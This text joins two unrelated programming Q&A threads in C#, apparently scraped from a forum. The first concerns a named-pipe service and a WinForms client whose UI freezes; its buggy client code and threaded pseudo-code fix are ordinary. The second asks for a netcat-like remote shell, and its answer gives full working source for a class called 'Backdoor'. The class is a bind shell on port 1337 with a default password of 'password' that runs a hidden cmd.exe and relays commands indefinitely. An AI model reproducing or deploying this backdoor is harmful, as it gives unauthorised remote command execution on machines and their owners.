IntPtr pointer = Marshal.AllocHGlobal(Marshal.SizeOf(pSecurity));
Marshal.StructureToPtr(pSecurity, pointer, true);
PipeSecurity ps = new PipeSecurity();
System.Security.Principal.SecurityIdentifier sid = new System.Security.Principal.SecurityIdentifier(System.Security.Principal.WellKnownSidType.WorldSid, null);
PipeAccessRule par = new PipeAccessRule(sid, PipeAccessRights.ReadWrite, System.Security.AccessControl.AccessControlType.Allow);
ps.AddAccessRule(par);
NamedPipeServerStream pipeServer = new NamedPipeServerStream("testpipe", PipeDirection.Out, 1, PipeTransmissionMode.Byte, PipeOptions.WriteThrough, 10, 10, ps);
StreamWriter sw = new StreamWriter(pipeServer);
if (!CreateProcessAsUser(hUserToken,
null, // Application Name
cmdLine, // Command Line
IntPtr.Zero,
IntPtr.Zero,
true,
dwCreationFlags,
pEnv,
null, // Working directory
ref sInfo,
out procInfo))
{
throw new Exception("StartProcessAsCurrentUser: CreateProcessAsUser failed.\n");
}
try
{
pipeServer.WaitForConnection();
sw.WriteLine("Waiting");
sw.Flush();
pipeServer.WaitForPipeDrain();
Thread.Sleep(5000);
sw.WriteLine("Waiting2");
sw.Flush();
pipeServer.WaitForPipeDrain();
Thread.Sleep(5000);
sw.WriteLine("Waiting32");
sw.Flush();
pipeServer.WaitForPipeDrain();
Thread.Sleep(5000);
sw.WriteLine("QUIT");
sw.Flush();
pipeServer.WaitForPipeDrain();
}
catch (Exception ex) { throw ex; }
finally
{
if (pipeServer.IsConnected) { pipeServer.Disconnect(); }
}
}
finally
{
//Closing things
}
return true;
}
Client:
Creates named pipe
Connects
Reads from service
Writes in its Form
Writes to service
Reads from service
Writes in its Form
Writes to service
...
private void Client()
{
try
{
IntPtr hPipe;
string dwWritten;
byte[] buffer = new byte[BUFSIZE];
NamedPipeClientStream pipeClient = new NamedPipeClientStream(".","testpipe", PipeDirection.In, PipeOptions.WriteThrough);
if (pipeClient.IsConnected != true) { pipeClient.Connect(); }
StreamReader sr = new StreamReader(pipeClient);
string temp;
bool cont = true;
while (cont)
{
temp = "";
temp = sr.ReadLine();
if (temp != null)
{
listBox1.Items.Add(temp);
listBox1.Refresh();
}
if (temp != "QUIT")
{
sw.WriteLine("Response");
sw.Flush();
pipeClient.WaitForPipeDrain();
}
else
{
sw.WriteLine("Response");
cont = false;
}
}
}
catch (Exception ex)
{
throw new Exception("Exception: " + ex.Message);
}
The problem appears writting to listbox1. Form (and its listbox1) only appears on user screen when the whole process has ended, and it shows the four message at once. I have Thread.Sleep(5000) in service side in order to evidence that each message is written separately, but I'm not sure if process doesn't wait to Thread and I'm testing it wrongly or Form is shown with all messages at once by some reason...

Your problem is the while loop that is blocking the current Thread, this thread is also used to refresh the UI.
1) A poor solution is calling DoEvents() within the while loop. But it would be wise to do more research to implement method 2
2) It's better to create a class that will create a Thread and triggers an event to when a message is received.
For example: (writting online so may contain some syntax/typos) So I will call it PSEUDO code ;-)
public class MessageEventArgs : EventArgs
{
public string Message { get; private set;}
public MessageEventArgs(string message)
{
Message = message;
}
}
public class MyReceiver : IDisposable
{
private Thread _thread;
private ManualResetEvent _terminating = new ManualResetEvent(false);
public void Start()
{
_thread = new Thread(() =>
{
try
{
IntPtr hPipe;
string dwWritten;
byte[] buffer = new byte[BUFSIZE];
NamedPipeClientStream pipeClient = new NamedPipeClientStream(".","testpipe", PipeDirection.In, PipeOptions.WriteThrough);
if (pipeClient.IsConnected != true) { pipeClient.Connect(); }
StreamReader sr = new StreamReader(pipeClient);
string temp;
while(!_terminating.WaitOne(0))
{
temp = "";
temp = sr.ReadLine();
if (temp != null)
{
OnMessage?.Invoke(temp);
}
if (temp != "QUIT")
{
sw.WriteLine("Response");
sw.Flush();
pipeClient.WaitForPipeDrain();
}
else
{
sw.WriteLine("Response");
_terminating.Set();
}
}
}
catch (Exception ex)
{
throw new Exception("Exception: " + ex.Message);
}
});
_thread.Start();
}
public void Dispose()
{
_terminating.Set();
_thread.Join();
}
public event EventHandler<MessageEventArgs> OnMessage;
}
// Example of how to use the Receiver class.
public class Form1: Form
{
MyReceiver _receiver;
public Form1()
{
InitializeComponent();
this.FormClosed += FormClosed;
_receiver = new MyReceiver();
_receiver.OnMessage += MessageReceived;
_receiver.Start();
}
public void MessageReceived(object sender, MessageEventArgs e)
{
// You need to invoke this, because the event is run on other than the UI thread.
this.Invoke(new Action(() =>
{
listBox1.Items.Add(e.Message);
});
}
public void FormClosed(object sender, EventArgs e)
{
_receiver.Dispose();
}
}

Writing a program with remote shell functionality like netcat

I am interested in writing a program which can do something like netcats "nc -L -d -p -t -e cmd.exe" command. So it provides a remote shell that is. I have tried piping output and input from and to cmd.exe and sending and receiving it over a socket but it doesn't really seem to work well. Are there any other ways to do it? I am programming in C# by the way.
This is some test code I wrote to test if I could make my own "shell". The output of this is what should be sent over a socket. The program, however, halts when it becomes time to read the output. This is only remedied by using the .readline() method, but I dont know how to detect when it should not read anymore lines.
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.Start();
StreamReader sr = p.StandardOutput;
StreamWriter sw = p.StandardInput;
while (true)
{
Console.Write(">> ");
string cmd = Console.ReadLine();
sw.WriteLine(cmd);
var resp = sr.ReadLine();
Console.WriteLine(resp);
}
Thanks.

Not sure if you still care about this but this may help you:
This is a C# Remote Shell
/*****************************************************************
*
* Created By DT
*
* ***************************************************************/
using System;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.IO;
namespace BackdoorServer
{
public class Backdoor
{
private TcpListener listener; //ServerSocket object for listening
private Socket mainSocket; //Socket to handle client-server communication
private int port; //Port the server listens on
private String name; //The server name
private String password; //The server password
private bool verbose = true; //Displays messages in console if True
private Process shell; //The shell process
private StreamReader fromShell;
private StreamWriter toShell;
private StreamReader inStream;
private StreamWriter outStream;
private Thread shellThread; //So we can destroy the Thread when the client disconnects
private static int DEFAULT_PORT = 1337; //Default port to listen on if one isn't declared
private static String DEFAULT_NAME = "Server"; //Default name of server if one isn't declared
private static String DEFAULT_PASS = "password"; //Default server password if one isn't declared
public Backdoor()
{ //Use default settings
port = DEFAULT_PORT;
name = DEFAULT_NAME;
password = DEFAULT_PASS;
}
public Backdoor(int p)
{ //Define port only
port = p;
name = DEFAULT_NAME;
password = DEFAULT_PASS;
}
public Backdoor(int p, String n)
{ //Define port and server name
port = p;
name = n;
password = DEFAULT_PASS;
}
public Backdoor(int p, String n, String pass)
{ //Define port, server name, and password
port = p;
name = n;
password = pass;
}
public Backdoor(int p, String n, String pass, bool verb)
{ //Define port, server name, and password
port = p;
name = n;
password = pass;
verbose = verb;
}
////////////////////////////////////////////////////////////////////////
//the startServer method waits for a connection, checks the password,
//and either drops the client or starts a remote shell
////////////////////////////////////////////////////////////////////////
public void startServer() {
try {
if(verbose)
Console.WriteLine("Listening on port " + port);
//Create the ServerSocket
listener = new TcpListener(port);
listener.Start(); //Stop and wait for a connection
mainSocket = listener.AcceptSocket();
if(verbose)
Console.WriteLine("Client connected: " + mainSocket.RemoteEndPoint);
Stream s = new NetworkStream(mainSocket);
inStream = new StreamReader(s);
outStream = new StreamWriter(s);
outStream.AutoFlush = true;
String checkPass = inStream.ReadLine();
if(verbose)
Console.WriteLine("Client tried password " + checkPass);
if(!checkPass.Equals(password)) { //if the password is not correct
if(verbose)
Console.WriteLine("Incorrect Password");
badPass(); //Drop the client
return;
}
if(verbose)
Console.WriteLine("Password Accepted.");
shell = new Process();
ProcessStartInfo p = new ProcessStartInfo("cmd");
p.CreateNoWindow = true;
p.UseShellExecute = false;
p.RedirectStandardError = true;
p.RedirectStandardInput = true;
p.RedirectStandardOutput = true;
shell.StartInfo = p;
shell.Start();
toShell = shell.StandardInput;
fromShell = shell.StandardOutput;
toShell.AutoFlush = true;
shellThread = new Thread(new ThreadStart(getShellInput)); //Start a thread to read output from the shell
shellThread.Start();
outStream.WriteLine("Welcome to " + name + " backdoor server."); //Display a welcome message to the client
outStream.WriteLine("Starting shell...\n");
getInput(); //Prepare to monitor client input...
dropConnection(); //When getInput() is terminated the program will come back here
}
catch(Exception) { dropConnection(); }
}
//////////////////////////////////////////////////////////////////////////////////////////////
//The run method handles shell output in a seperate thread
//////////////////////////////////////////////////////////////////////////////////////////////
void getShellInput()
{
try
{
String tempBuf = "";
outStream.WriteLine("\r\n");
while ((tempBuf = fromShell.ReadLine()) != null)
{
outStream.WriteLine(tempBuf + "\r");
}
dropConnection();
}
catch (Exception) { /*dropConnection();*/ }
}
private void getInput() {
try {
String tempBuff = ""; //Prepare a string to hold client commands
while(((tempBuff = inStream.ReadLine()) != null)) { //While the buffer is not null
if(verbose)
Console.WriteLine("Received command: " + tempBuff);
handleCommand(tempBuff); //Handle the client's commands
}
}
catch(Exception) {}
}
private void handleCommand(String com) { //Here we can catch commands before they are sent
try { //to the shell, so we could write our own if we want
if(com.Equals("exit")) { //In this case I catch the 'exit' command and use it
outStream.WriteLine("\n\nClosing the shell and Dropping the connection...");
dropConnection(); //to drop the connection
}
toShell.WriteLine(com + "\r\n");
}
catch(Exception) { dropConnection(); }
}
////////////////////////////////////////////////////////////////////
//The drop connection method closes all connections and
//resets the objects to their null states to be created again
//I don't know if this is the best way to do it but it seems to
//work without issue.
////////////////////////////////////////////////////////////////////
private void badPass()
{
inStream.Dispose();
outStream.Dispose();
mainSocket.Close();
listener.Stop();
return;
}
private void dropConnection() {
try {
if(verbose)
Console.WriteLine("Dropping Connection");
shell.Close();
shell.Dispose();
shellThread.Abort();
shellThread = null;
inStream.Dispose(); //Close everything...
outStream.Dispose();
toShell.Dispose();
fromShell.Dispose();
shell.Dispose();
mainSocket.Close();
listener.Stop();
return;
}
catch(Exception) {}
}
static void Main(string[] args)
{
try {
Backdoor bd = new Backdoor();
if (args.Length == 1)
bd = new Backdoor(int.Parse(args[0]));
if (args.Length == 2)
bd = new Backdoor(int.Parse(args[0]), args[1]);
if (args.Length == 3)
bd = new Backdoor(int.Parse(args[0]), args[1], args[2]);
else if (args.Length == 4)
bd = new Backdoor(int.Parse(args[0]), args[1], args[2], bool.Parse(args[3]));
while (true)
{
bd.startServer();
}
}
catch(Exception) {}
}
}
}